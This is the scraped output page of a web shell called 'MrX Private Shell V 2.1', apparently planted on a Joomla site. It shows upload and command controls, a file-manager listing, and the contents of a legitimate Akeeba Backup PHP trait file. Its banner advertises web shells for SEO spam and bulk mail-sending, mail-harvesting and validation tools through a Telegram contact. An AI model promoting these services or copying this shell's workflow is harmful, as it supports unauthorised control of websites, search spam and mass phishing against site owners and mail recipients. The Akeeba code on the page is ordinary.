__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Model\Mixin
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

trait ModelStateFixTrait
{
	/**
	 * Set the __state_set flag.
	 *
	 * Calling setState on a model does NOT set the __state_set flag. Next time you call getState the model will always
	 * go through populateState(). However, Joomla's default populateState for ListModel and AdminModel tries to call
	 * the getUserStateFromRequest method against the application object **without** checking if this method exists.
	 * This method does not, in fact, exist in the Console application — it only exists in the site, administrator and
	 * cli applications. As a result trying to use a model in the Console application breaks.
	 *
	 * The solution is this one–line method which sets the __state_set flag, preventing Joomla from sabotaging itself.
	 *
	 * The funny thing is that this problem did not occur on Joomla 4.0 and earlier. Well done, guys, you've broken
	 * Joomla yet again by not stopping to think that there's more to Joomla than the HTML applications. Nothing says
	 * “world–class maintenance team” than silly blunders like this.
	 *
	 * @param   bool  $flag  The state of the __state_set flag to apply. Default: true.
	 *
	 * @return  void
	 * @since   9.3.0
	 */
	public function setStateSetFlag(bool $flag = true): void
	{
		$this->__state_set = $flag;
	}
}

Filemanager

Name Type Size Permission Actions
AkeebaEngineTrait.php File 2.71 KB 0664
ControllerAjaxTrait.php File 873 B 0664
ControllerCustomACLTrait.php File 2.22 KB 0664
ControllerEventsTrait.php File 1.9 KB 0664
ControllerProfileAccessTrait.php File 1.11 KB 0664
ControllerProfileRestrictionTrait.php File 961 B 0664
ControllerRegisterTasksTrait.php File 1.49 KB 0664
ControllerReusableModelsTrait.php File 2.01 KB 0664
GetErrorsFromExceptionsTrait.php File 1.26 KB 0664
GetPropertiesAwareTrait.php File 977 B 0664
ModelChmodTrait.php File 1.67 KB 0664
ModelExclusionFilterTrait.php File 3.19 KB 0664
ModelStateFixTrait.php File 1.65 KB 0664
RunPluginsTrait.php File 10.34 KB 0664
TriggerEventTrait.php File 2.64 KB 0664
ViewBackupStartTimeTrait.php File 2.44 KB 0664
ViewLoadAnyTemplateTrait.php File 7.39 KB 0664
ViewProfileIdAndNameTrait.php File 1.95 KB 0664
ViewProfileListTrait.php File 1.63 KB 0664
ViewTaskBasedEventsTrait.php File 621 B 0664
Filemanager